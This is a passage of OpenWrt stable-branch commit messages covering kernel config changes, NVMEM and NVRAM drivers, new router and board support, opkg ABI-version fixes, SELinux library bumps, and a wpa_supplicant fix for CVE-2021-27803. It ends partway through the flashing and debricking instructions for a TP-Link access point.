Signed-off-by: Magnus Kroken <mkroken@gmail.com>
(cherry picked from commit dbde2bcf60)
This kernel config option was missing and resulted in a question when
building.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 047b7621bb)
This adds NVMEM bindings that are needed for proper booting on Linksys
devices.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 98d456a14e)
NVRAM access may be needed early in boot process. Reading it using mtd
happens quite late in the init process. Add NVRAM initialization to the
NVMEM driver which comes up early and depends on IO mapping only.
This is required by Linksys devices which use NVRAM content for proper
partitioning (detecting current firmware partition).
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit baf04eed02)
Refactoring of bcm47xx_nvram driver. It's used by bcm47xx and bcm53xx.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 1c48eee5b2)
It supports NVRAM access described using DT binding. Right now NVRAM
data is exposed using /sys/bus/nvmem/ only.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 01b1b37528)
Some patches were slightly cleaned up. One things worth mentioning is
that adding:
phy-mode = "rgmii"
broke SF2 driver. It made it access random register breaking switch
setup.
That's why this commit also adds a quick sf2 fix.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 05dbfe616d)
It's meant to provide upstream support for mtd & NVMEM. It's required
e.g. for reading MAC address from mtd partition content. It seems to be
in a final shape so it's worth testing.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit e90e75b12c)
It's a BCM4906 based device (2 CPU cores). It has 512 MiB of RAM, 4 LAN
ports, 1 WAN port, 2 USB ports, NAND flash. WiFi unknown at this point.
Flashing is possible using CFE only, proper image will be worked on
later.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 8d24da1470)
This adds the latest version of ofpart commit. It hopefully
1. Doesn't break compilation
2. Doesn't break partitioning
(this time).
It's required to implement fixed partitioning with some quirks. It's
required by bcm53xx, bcm4908, kirkwood, lantiq and mvebu.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 7a7b2fd809)
This allows using the last integrated PHY (and so e.g. WAN port on the
ASUS GT-AC5300).
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit ad8b759fd1)
The ImageBuilder `make manifest` prints all installed packages. This
function can be used to create a list of package and corresponding
package versions before attempting image creation.
When called with `--strip-abi` OPKG can automatically strip attached
ABIVersions from package names. Make this function accessible for the
ImageBuilder by adding a `STRIP_ABI` variable.
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit 0f7cd97f81)
Refreshed all patches.
The following patches were applied upstream:
* 755-v5.8-net-dsa-add-GRO-support-via-gro_cells.patch
* 831-v5.9-usbip-tools-fix-build-error-for-multiple-definition.patch
Compile-tested on: x86_64, ipq40xx, ath79
Runtime-tested on: x86_64, ipq40xx, ath79
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
d3f2041 uci: manually clear uci_ptr flags after uci_delete() operations
ccb7517 sys: packagelist: drop ABI version from package name
(cherry picked from commit da339a6d3f)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
d71856a pkg: pass-through ABIVersion to status file
d3a63b3 libopkg: add option to strip ABI versions from listed names
5936c4f libopkg: pkg_hash: prefer original packages to satisfy dependencies
(cherry squashed from commit 6a7a1f1c64,
commit 988ed00802 and
commit b5f6d20560)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
With the existence of ABI versions there is no clean way to determine
the package name without an attached ABI version. The Packages index is
stored on device to know what packages are installed.
The ABIVersion was recently removed in c921650382 "build: drop ABI
version from metadata", while ABI versions still exists. This becomes a
problem if a user tries to export installed packages via `ubus call
rpcd-sys packagelist` which would return package names including the ABI
version. Trying to find these packages in a later release with changes
ABI version is impossible.
This commits adds the `ABIVersion` field again. Knowing both the
combined (SourceName + ABIVersion) and the `ABIVersion` it is possible
to calculate the package `SourceName` without storing it in the
on-device package list.
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit fc5b101c06)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
a857b45 resolv/locale: eventually this should be more efficient
11ed281 some more optimization
764a475 add redundant calls to file.search_conffile_dirs()
7d4558e fs: treat devtmpfs that same as tmpfs
81b677e adds irqbalance skeleton
5506244 irqbalance rules
cc96cd8 adds usbutil and gtpfdisk skels
01e2a55 some fsck, gptfdisk, mkfs and usbutil rules
d6d1e7d usbutil: output to terminal
da576fa fsck, gptfdisk and usbutil rules
09b39e9 unbound
241a029 hotplugcall: allow dac_read_search (is a subset of dac_override)
af0fe90 adds label for tcsh
160f79e adds tcpdump
6d02b96 adds coreutil execfile for busybox alternatives
ac54884 coreutilexecfile: these are known to require privileges, so exclude
8cb3b66 adds chrootexecfile
6d329d3 this saves 9KiB and its a bit more robust
88e2425 move addpart/delpart/partx to gptfdisk.cil
261012d ntphotplug: reads ubox data files
0473ace various
740e820 work through to genfs_seclabel_symlinks loose ends (Linux 5.10)
bef21f5 TODO adds a note about how I dont need to upgrade to polver 33 from 31
cb2e5a3 ubus uses ntpdhotplug fd, and some genfs_seclabel_symlink changes
07df9b9 luci, rpcd and wpad (mainly genfs_selabel related but not all)
8d86cab genfs_seclabel loose ends for blockmount, hotplugcall, irqbalance, zram-swap
b8156cd adds a note about how i forgot to target blockd
6e82ab8 adds blockd and related
254ff43 Makefile: exclude blockd from mintesttgt
4dc6bc2 pppd update related and unbound-odhcp rules
3d7da7a igmpproxy tidy some loose ends
c84ba0f rcigmpproxy: add entries to /etc when creating /etc/igmpproxy.conf
5a18967 adds igmpproxy skeleton
7e6a218 logread: support resolving dns names
e39ca8b netifd: add support for /etc/udhcpc.user
7952bd0 odhcp6c: support /etc/odhcp6c.user
ba0eb4e swconfig, fwenv, agent
4556b8a pppd cosmetic
9324d9d pppd: sends AT commands to model using /dev/ttyUSBN
417b14a ttydev: add some more ttyUSB
ed739dc example: dont depend on policycoreutils
97613f9 dropbear: using dropbear as scp: dns name resolving
12c193b dropbear tcp connect ssh ports for scp
c050077 rcdnsmasq: remove redundant rule and make rcsysntpd optional
8c5de35 this is a bug
8d5c463 uhttpd rcboot rcdnsmasq
094266e hostapd and wpa_supplicant
aef0bd7 mountroot: maintains /tmp/sysupgrade.tar
24f0406 dropbear: allow it to read tmp.fs files
2901433 firstboot mkfsf2fs rcboot
2c4afb7 blockmount mmc
465ca98 adds industrial i/o (iio) nodedev
82f686e mtd stordev: back that ubiblock0_4p1 up with a filecon
7df78bd ubus: "support" older ubusd versions that run as root
4458bce swconfig: allow using terminal (to print output)
e8d606d sslcert: openssl linked: this shaves off 200 bytes
93afffb jshn ntpdhotplug
0b847f0 wpad: reads /etc/ssl/openssl.cnf
f14ee34 indent fix
a0c7cad mtd, uhttpd, ubus and ntpdhotplug
d74f98f adds a not about checkreqprot requirement in some scenarios
affacce example: add policycoreutils-setfiles for make check
4f944dc kmodloader and fwenv:
efe36a3 netifd: adds a comment/reminder
581b087 more fw_printenv loose ends
30177a4 fw_setenv: needs mtd write access to set and delete env
da28f4c fw_printenv: some minor clean ups
a062053 fw_printenv missing rules
244ba5f blockmount: extroot and /rwm
0745a6a squid: allow squid to run sslcrtd with domain transition
b851df6 squid fix
8c55acd squid: adds certfile and allow connect http but...
b7c1f6d Makefile: exclude tinyproxy from mintesttgt (using squid)
5ff39bd squid: forgot about luci
5366c97 squid/rcsquid some basic fill in
8743da6 squid skeleton
687a43b adds squid 3128 port to httpproxy port
Signed-off-by: Dominick Grift <dominick.grift@defensec.nl>
(cherry squashed from commit 3ffc30f05a
and commit 41a8f093fb)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
d464187c policycoreutils: sestatus belongs to bin not sbin
d59932a7 policycoreutils: Resolve path in restorecon_xattr
5682c0d5 policycoreutils/fixfiles.8: add missing file systems and merge check and verify
57dd1f65 policycoreutils/setfiles: Drop unused nerr variable
be7f54cb setfiles: drop ABORT_ON_ERRORS and related code
9207823c setfiles: Do not abort on labeling error
c064d214 selinux_config(5): add a note that runtime disable is deprecated
8bc865e1 newrole: support cross-compilation with PAM and audit
ba2d6c10 fixfiles: correctly restore context of mountpoints
Signed-off-by: Dominick Grift <dominick.grift@defensec.nl>
(cherry picked from commit 68934a5704)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
142826a3 libselinux: fix segfault in add_xattr_entry()
398d2cee libselinux: rename gettid() to something which never conflicts with the libc
8f0f0a28 selinux(8,5): Describe fcontext regular expressions
9cc6b5cf libselinux/getconlist: report failures
156dd0de libselinux: update getseuser
e2dca5df libselinux: accept const fromcon in get_context API
da4829d0 libselinux: Always close status page fd
45b15c22 selinux(8): explain that runtime disable is deprecated
3c16aaef selinux(8): mark up SELINUX values
c2a58cc5 libselinux: LABEL_BACKEND_ANDROID add option to enable
db0f2f38 libselinux: Add build option to disable X11 backend
4a142ac4 libsepol: Bump libsepol.so version
d23342a9 libselinux: convert matchpathcon to selabel_lookup()
7ef5b185 libselinux: Change userspace AVC setenforce and policy load messages to audit format.
f5d644c7 libselinux: Add additional log callback details in man page for auditing.
075f9cfe libselinux: Fix selabel_lookup() for the root dir.
a4149e0e libselinux: Add new log callback levels for enforcing and policy load notices.
a63f93d8 libselinux: initialize last_policyload in selinux_status_open()
ef902db9 libselinux: safely access shared memory in selinux_status_updated()
9e4480b9 libselinux: Remove trailing slash on selabel_file lookups.
21fb5f20 libselinux: use full argument specifiers for security_check_context in man page
e7abd802 libselinux: fix build order
05bdc031 libselinux: use kernel status page by default
Signed-off-by: Dominick Grift <dominick.grift@defensec.nl>
(cherry picked from commit b1fc2b5b0b)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
a9e0004f libsepol: invalidate the pointer to the policydb if policydb_init fails
6238e025 libsepol/cil: fix NULL pointer dereference in cil_fill_ipaddr
b69d77bc libsepol/cil: handle SID without assigned context when writing policy.conf
0861c659 libsepol: Validate policydb values when reading binary policy
8f5409cf libsepol: Create function ebitmap_highest_set_bit()
0451adeb libsepol/cil: Destroy disabled optional blocks after pass is complete
32f8ed3d libsepol/cil: introduce intermediate cast to silence -Wvoid-pointer-to-enum-cast
4662bdc1 libsepol/cil: be more robust when encountering <src_info>
6b561058 libsepol/cil: fix NULL pointer dereference with empty macro argument
0d0e47c7 libsepol/cil: Fix integer overflow in the handling of hll line marks
1b36ace2 libsepol: include header files in source files when matching declarations
1f1fa9d4 libsepol: uniformize prototypes of sepol_mls_contains and sepol_mls_check
72a88d75 libsepol: remove unused files
eba0ffee libsepol/cil: Fix heap-use-after-free when using optional blockinherit
1048f8d3 libsepol/cil: unlink blockinherit->block link when destroying a block
b3202918 libsepol/cil: fix memory leak when a constraint expression is too deep
f0d98f83 libsepol/cil: Fix heap-use-after-free in __class_reset_perm_values()
5d021d66 libsepol/cil: Update symtab nprim field when adding or removing datums
34bd9a9d libsepol: destroy filename_trans list properly
bdf4e332 libsepol/cil: fix NULL pointer dereference when parsing an improper integer
b7ea65f5 libsepol/cil: destroy perm_datums when __cil_resolve_perms fails
228c06d9 libsepol/cil: fix out-of-bound read in cil_print_recursive_blockinherit
a25d9104 libsepol/cil: constify some strings
e2d01842 libsepol/cil: propagate failure of cil_fill_list()
6c8fca10 libsepol/cil: do not add a stack variable to a list
38a09b74 libsepol/cil: fix NULL pointer dereference when using an unused alias
3c357285 libsepol/cil: remove useless print statement
90809674 libsepol/cil: always destroy the lexer state
d16a1e46 libsepol/cil: Use the macro FLAVOR() whenever possible
2aac859a libsepol/cil: Use the macro NODE() whenever possible
d317b470 libsepol/cil: Remove unnecessary assignment in cil_resolve_name_keep_aliases()
9b9761cf libsepol/cil: Remove unused field from struct cil_args_resolve
e257d4c7 libsepol/cil: Get rid of unnecessary check in cil_gen_node()
ebba2b00 libsepol/cil: cil_tree_walk() helpers should use CIL_TREE_SKIP_*
89dab467 libsepol: free memory when realloc() fails
2d353bd5 libsepol/cil: Give error for more than one true or false block
4a142ac4 libsepol: Bump libsepol.so version
506c7b95 libsepol: Drop deprecated functions
ae58e84b libsepol: Get rid of the old and duplicated symbols
c97d63c6 libsepol: silence potential NULL pointer dereference warning
64387cb3 libsepol: drop confusing BUG_ON macro
521e6a2f libsepol/cil: fix signed overflow caused by using (1 << 31) - 1
a152653b libsepol/cil: Fix neverallow checking involving classmaps
734e4beb libsepol/cil: Validate conditional expressions before adding to binary policy
685f577a libsepol/cil: Validate constraint expressions before adding to binary policy
8206b8cb libsepol: implement POLICYDB_VERSION_COMP_FTRANS
42ae834a libsepol,checkpolicy: optimize storage of filename transitions
Signed-off-by: Dominick Grift <dominick.grift@defensec.nl>
(cherry picked from commit 2a1bdde0d0)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Enable threading if dev->threaded is set. This will be used to bring mt76 back
in sync with upstream
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry-picked from commit 3d1ea0d77f)
Backport two fixes for 1.33.0
* history file storing
* traceroute command option parsing
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
(cherry picked from commit c1f3c52564)
The Sercomm AD1018 has a NAND flash. We recently added support for NANDs
in this target.
Use the internal NAND as additional storage.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
(cherry-picked from commit a48ef37747)
From the original commit message:
"With GCC 10, building usbip triggers error for multiple definition
of 'udev_context', in:
- libsrc/vhci_driver.c:18 and
- libsrc/usbip_host_common.c:27.
Declare as extern the definition in libsrc/usbip_host_common.c."
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
(cherry picked from commit 0eef8402ee)
BCM63XX internal PHYs and BCM5365 SoC internal switch are both using the
same phy_driver->phy_id, causing conflicts and unnecessary probes. E.g
the BCM63XX phy internal IRQ is lost on the first probe.
The full BCM5365 UID is 0x00406370.
Use an additional byte to mask the BCM5365 UID to avoid duplicate driver
phy_id's. This will fix the IRQ issue in internal BCM63XX PHYs and avoid
more conflicts in the future.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
(merge both cherry-picked commits)
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commits cbcac4fde8 and cfa43f8119)
This driver is only present on BCM2708, BCM2709 and BCM2710.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit bac74aff5e)
`which` utility is not shipped by default for example on recent Arch
Linux and then any steps relying on its presence fails, like for example
following Python3 prereq build check:
$ python3 --version
Python 3.9.1
$ make
/bin/sh: line 1: which: command not found
...
Checking 'python3'... failed.
So make `which` utility host build requirement.
References: PR#3820 FS#3525
Signed-off-by: Petr Štetiar <ynezz@true.cz>
(cherry picked from commit 13069b1a1d)
This reverts commit c7aec47e5e.
The original commit replaces 'which' with 'command'. Sadly most of
them are not equivalent and for 'which -a', there is no easy
replacements that would not reimplement PATH parsing logic. Hence
revert. Keeping a dependency on which is absolutely fine.
Signed-off-by: Clemens Fruhwirth <clemens@endorphin.org>
(cherry picked from commit 1f5e722486)
The freifunk feed is being removed becasue
a) it is an external project and the OpenWrt team does not have access to it.
b) upon original addition of the feed, there was only a very weak tendency for
the addition.
c) there is a general lack of interest in the freifunk repo to review and/or
merge pull requests.
d) as far as can be found, all projects which use the freifunk feed have their
own make system and self-maintained feeds list. They do not use the
feeds.conf.default from the openwrt repo.
more information can be read at the following links:
http://lists.openwrt.org/pipermail/openwrt-devel/2021-February/033807.htmlhttps://github.com/freifunk/openwrt-packages/issues/37
Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com>
(cherry picked from commit 20caa68fec)
with u-boot v2020.07 some variables have been renamed so this patch needs to be adjusted
otherwise at least with macOS as build system there are build errors
Signed-off-by: Ronny Kotzschmar <ro.ok@me.com>
(cherry picked from commit 547a932ee9)
Non Linux systems e.g. macOS lack the __u64 type and produce build errors:
In file included from tools/aisimage.c:9:
In file included from include/image.h:19:
In file included from ./arch/arm/include/asm/byteorder.h:29:
In file included from include/linux/byteorder/little_endian.h:13:
include/linux/types.h:146:9: error: unknown type name '__u64'; did you mean '__s64'?
typedef __u64 __bitwise __le64;
Resolved by declaring __u64 in include/linux/types.h
Build tested on macOS and Ubuntu.
Signed-off-by: Georgi Valkov <gvalkov@abv.bg>
(cherry picked from commit 3cc57ba462)
At this moment p2020rdb has broken images, because NOR memory connected
to eLBC bus isn't detected.
In 642b1e8dbed7 linux tree commit, config dependencies of MTD_PHYSMAP_OF
was changed and now MTD_PHYSMAP is required.
This patch adds MTD_PHYSMAP option to kernel config in p2020 subtarget
and fix booting of p2020rdb.
Fixes: 13b1db795f ("mpc85xx: add support for kernel 5.4")
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
(cherry picked from commit 76649fd06d)
p2p_add_device() may remove the oldest entry if there is no room in the
peer table for a new peer. This would result in any pointer to that
removed entry becoming stale. A corner case with an invalid PD Request
frame could result in such a case ending up using (read+write) freed
memory. This could only by triggered when the peer table has reached its
maximum size and the PD Request frame is received from the P2P Device
Address of the oldest remaining entry and the frame has incorrect P2P
Device Address in the payload.
Fix this by fetching the dev pointer again after having called
p2p_add_device() so that the stale pointer cannot be used.
This fixes the following security vulnerabilities/bugs:
- CVE-2021-27803 - A vulnerability was discovered in how p2p/p2p_pd.c
in wpa_supplicant before 2.10 processes P2P (Wi-Fi Direct) provision
discovery requests. It could result in denial of service or other
impact (potentially execution of arbitrary code), for an attacker
within radio range.
Fixes: 17bef1e97a50 ("P2P: Add peer entry based on Provision Discovery Request")
Signed-off-by: Jouni Malinen <jouni@codeaurora.org>
Signed-off-by: Stefan Lippers-Hollmann <s.l-h@gmx.de>
(cherry picked from commit 1ca5de13a1)
These boards have a fixed size kernel partition but do not limit the
kernel size during image building.
Disable image building for both boards as well, since the kernel of the
last release as well as master are to big to fit into the 2 MByte kernel
partition.
Signed-off-by: Mathias Kresin <dev@kresin.me>
(cherry picked from commit 23dd786734)
The symbol CONFIG_CAVIUM_CN63XXP1 was disabled during the bump to
4.19 (see Fixes:) with the following reason:
No supported hardware uses CN63XXP1 and it causes "slight decrease
in performance"
However, it later turned out that the edgerouter image needed it,
which led to having the device disabled in [1].
Still, dropping support of a device seems a harsh action for just
removing a "slight" decrease in performance from the other devices.
Thus, this enables CONFIG_CAVIUM_CN63XXP1 again, and essentially
restores the situation present until (including) kernel 4.14 on
this target.
For OpenWrt as a platform, it seems more desirable to support all
devices (and have them tested regularly via the snapshots) in this
case.
Users interested in maximum performance might still just remove
the symbol again in their local build.
[1] 3824fa26d2 ("octeon: disable edgerouter image")
Fixes: 6c22545225 ("target/octeon: Add Linux 4.19 support")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit cfd1a40583)
This was overlooked when adding support for this device.
(It has recently been discovered that this was the only device in
ath79 having &uart disabled.)
Fixes: acc6263013 ("ath79: add support for GL.iNet GL-USB150")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 722f1bd549)
The uart node is enabled on all devices except one (GL-USB150 *).
Thus, let's not have a few hundred nodes to enable it, but do not
disable it in the first place.
Where the majority of devices is using it, also move the serial0
alias to the DTSI.
*) Since GL-USB150 even defines serial0 alias, the missing uart
is probably just a mistake. Anyway, disable it for now so this
patch stays cosmetic.
Apply this to 21.02 as well to remove an unnecessary backporting
pitfall.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 3a4b751110)
This package had two patches (with two headers etc.) in one file,
which would have quilt merging them during a refresh.
Separate these patches into two files, as the original intent seems
to be having them separate.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 221eefaf6b)
OpenSSL downloads itself are distributed using Akamai CDN, so use these
sources as the highest priority.
Remove a stale mirror which seems to be offline for a longer time
already.
Add fallbacks to the old release path also for the mirrors.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit 10e84bde36)
The Netgear R6800 and R6700v2 devices have a Semtech SX1503 GPIO
expander controlling the device LEDs. This expander was initially
supported on 4.14, but support was lost in the transition to 5.4.
Since this driver cannot be built as a kernel module, enable it in the
kernel config for all mt7621 devices.
Run-tested on a Netgear R6800.
Cc: Stijn Segers <foss@volatilesystems.org>
Cc: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Tested-by: Stijn Segers <foss@volatilesystems.org>
(cherry picked from commit 773949c152)
As suggested by Sergio, this adds GPIOs 19 and 8 explicitly into the
DIR-860L DTS, so the PCI-E ports get reset and the N radio (radio1)
on PCI-E port 1 comes up reliably.
Fixes the following error that popped up in dmesg:
[ 1.638942] mt7621-pci 1e140000.pcie: pcie1 no card, disable it (RST & CLK)
Suggested-by: Sergio Paracuellos <sergio.paracuellos@gmail.com>
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
Reviewed-by: Sergio Paracuellos <sergio.paracuellos@gmail.com>
(cherry picked from commit 06356f0020)
* use binary provided by MediaTek to work-around 'bromimage' issue
* use @OPENWRT mirror for blobs
* refactor Makefile
* add mt7622 1c variants (using binaries provided by MTK)
(cherry picked from commit 068c82039f and
commit 9cd089dbbf)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The current driver has some troubles:
- Some groupings are wrong.
- The pinctrl group0 owns pins never used (at least in Openwrt) for any
pinmux. The driver hijacks all the pins on the group avoiding any other
use, spite they're free. I.e. for buttons, causing this kernel error:
[ 4.735928] gpio-keys-polled keys: unable to claim gpio 479, err=-22
[ 4.742642] gpio-keys-polled: probe of keys failed with error -22
- Minor errors about groupings on the documentation
- Missing "diag" grouping in dtsi
- Wrong groupings in dtsi
Fix it by setting the correct groups.
And relax the pin capturing, letting the gpios belonging to any group to
be used for other purposes like buttons. This was the behavior with stock
firmwares and old OpenWrt versions which never caused any trouble.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
(Cherry-picked from commit 50cb3a750f)
Since there are only 16 characters available, on most cases the vendor name
will fit in the metadata, but the model name won't fit.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit c27532742d)
The lan port sequence was reversed compared to the labels.
Signed-off-by: Shiji Yang <yangshiji66@qq.com>
[improve commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 567a88e4b9)
Phicomm K2G:
add missing label_mac
Phicomm PSG1218A & PSG1218B:
The previous wan mac was set as factory@0x28 +1 (originally based
on the default case for the ramips target), but the correct wan mac
is factory@0x28 -1, being equal to factory@0x2e.
Signed-off-by: Shiji Yang <yangshiji66@qq.com>
[minor commit title/message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 55263ffedb)
pinctrl should rely on external interrupt controller for GPIO interrupts.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit 36e35b8d81)
When building from a local branch based off the "openwrt-21.02" branch,
version computation is wrong, because the number of local commits is
computed against master. As a result, it wrongly counts *all* commits
since the beginning of the openwrt-21.02 branch as local commits.
The fix is to compare to the openwrt-21.02 branch instead, which gives the
expected result.
A similar change had been applied to the openwrt-19.07 branch:
891022918d ("scripts: getver.sh: fix version based on stable branch")
Signed-off-by: Baptiste Jonglez <git@bitsofnetworks.org>
The ls-ddr-phy package needs fiptool options that are not
available via the version from arm-trusted-firmware-tools.
This breaks build for layerscape with the recently added LX2160a:
create: unrecognized option '--ddr-immem-udimm-1d'
Use the tfa-layerscape variant again for now, but rename it to
fiptool-layerscape to indicate that it's a specific variant.
This reverts 84bc7d31e0 ("tfa-layerscape: don't build fiptool").
Fixes: f59d7aab2a ("layerscape: add ddr-phy package")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 910b5d669f)
Now that khwrngd is working on all subtargets we can remove urgnd.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit 9dc84018ee)
Also add a patch setting its quality, which should make it usable by khwrngd.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit 670526efa3)
This patch allows devices without a high resolution timer to boot up faster.
It should speed up boots for bcm2708 and bcm63xx.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
(cherry-picked from commit 7747b3fa36)
This is a backport of the upstream commit 58bbbb598144 ("nl80211: Ignore
4addr mode enabling error if it was already enabled") which fixes same
issue as in the current fix contained in '130-wpa_supplicant-multi_ap_roam.patch',
but in a different way:
nl80211_set_4addr_mode() could fail when trying to enable 4addr mode on
an interface that is in a bridge and has 4addr mode already enabled.
This operation would not have been necessary in the first place and this
failure results in disconnecting, e.g., when roaming from one backhaul
BSS to another BSS with Multi AP.
Avoid this issue by ignoring the nl80211 command failure in the case
where 4addr mode is being enabled while it has already been enabled.
Signed-off-by: Raphaël Mélotte <raphael.melotte@mind.be>
[bump PKG_RELEASE, more verbose commit description]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
(cherry picked from commit fb860b4e41)
The Netgear EX6150 can, just like the D-Link DIR-860L rev B1, fail to
initialise both radios in some cases. Add the reset GPIOs explicitly
so the PCI-E devices get re-initialised properly. See also FS #3632.
Error shows up in dmesg as follows:
[ 1.560764] mt7621-pci 1e140000.pcie: pcie1 no card, disable it (RST & CLK)
Tested-by: Kurt Roeckx <kurt@roeckx.be>
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
[removed period from commit title]
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit af1b6799c6)
Support new devices LS1046AFRWY and LX2160ARDB in README.
Clean up README, and add missing LS1021ATWR deploy guide.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
[adjust set of devices added, update commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit a31842e7fd)
The QorIQ LX2160A reference design board provides a comprehensive platform
that enables design and evaluation of the LX2160A processor.
- Enables network intelligence with the next generation Datapath (DPPA2)
which provides differentiated offload and a rich set of IO, including
10GE, 25GE, 40GE, and PCIe Gen4
- Delivers unprecedented efficiency and new virtualized networks
- Supports designs in 5G packet processing, network function
virtualization, storage controller, white box switching, network
interface cards, and mobile edge computing
- Supports all three LX2 family members (16-core LX2160A; 12-core LX2120A;
and 8-core LX2080A)
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
[use AUTORELEASE, add dtb to firmware part]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 80dcd14abe)
Add ddr-phy package for layerscape. Currently only LX2160ARDB
requires the package.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
[use AUTORELEASE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit f59d7aab2a)
The LS1046A Freeway board (FRWY) is a high-performance computing,
evaluation, and development platform that supports the QorIQ
LS1046A architecture processor capable of support more than 32,000
CoreMark performance. The FRWY-LS1046A board supports the QorIQ
LS1046A processor, onboard DDR4 memory, multiple Gigabit Ethernet,
USB3.0 and M2_Type_E interfaces for Wi-Fi.
The FRWY-LS1046A-TP includes the Coral Tensor Flow Processing Unit
that offloads AI/ML inferencing from the CPU to provide significant
boost for AI/ML applications. The FRWY-LS1046A-TP includes one M.2
TPU module and more modules can easily be added including USB
versions of the module to scale the AI/ML performance.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
[rebase, use AUTORELEASE, fix sorting, add dtb to firmware part]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 2c2d77bd3b)
Upcoming devices will not need the migration setup, so let's move
it out of the common definition.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit a9075d42d7)
As kernel size increased it start to fail to load squishfs image,
using lzma-loader fixed it.
wevo_11acnas is almost same device as w2914ns-v2 except ram size,
so I expect same thing would've happen in that device too.
Signed-off-by: Seo Suchan <abnoeh@mail.com>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
(cherry picked from commit ca6954e2dc)
The TP-Link EAP235-Wall is a wall-mounted, PoE-powered AC1200 access
point with four gigabit ethernet ports.
When connecting to the device's serial port, it is strongly advised to
use an isolated UART adapter. This prevents linking different power
domains created by the PoE power supply, which may damage your devices.
The device's U-Boot supports saving modified environments with
`saveenv`. However, there is no u-boot-env partition, and saving
modifications will cause the partition table to be overwritten. This is
not an issue for running OpenWrt, but will prevent the vendor FW from
functioning properly.
Device specifications:
* SoC: MT7621DAT
* RAM: 128MiB
* Flash: 16MiB SPI-NOR
* Wireless 2.4GHz (MT7603EN): b/g/n, 2x2
* Wireless 5GHz (MT7613BEN): a/n/ac, 2x2
* Ethernet: 4× GbE
* Back side: ETH0, PoE PD port
* Bottom side: ETH1, ETH2, ETH3
* Single white device LED
* LED button, reset button (available for failsafe)
* PoE pass-through on port ETH3 (enabled with GPIO)
Datasheet of the flash chip specifies a maximum frequency of 33MHz, but
that didn't work. 20MHz gives no errors with reading (flash dump) or
writing (sysupgrade).
Device mac addresses:
Stock firmware uses the same MAC address for ethernet (on device label)
and 2.4GHz wireless. The 5GHz wireless address is incremented by one.
This address is stored in the 'info' ('default-mac') partition at an
offset of 8 bytes.
From OEM ifconfig:
eth a4:2b:b0:...:88
ra0 a4:2b:b0:...:88
rai0 a4:2b:b0:...:89
Flashing instructions:
* Enable SSH in the web interface, and SSH into the target device
* run `cliclientd stopcs`, this should return "success"
* upload the factory image via the web interface
Debricking:
U-boot can be interrupted during boot, serial console is 57600 baud, 8n1
This allows installing a sysupgrade image, or fixing the device in
another way.
* Access serial header from the side of the board, close to ETH3,
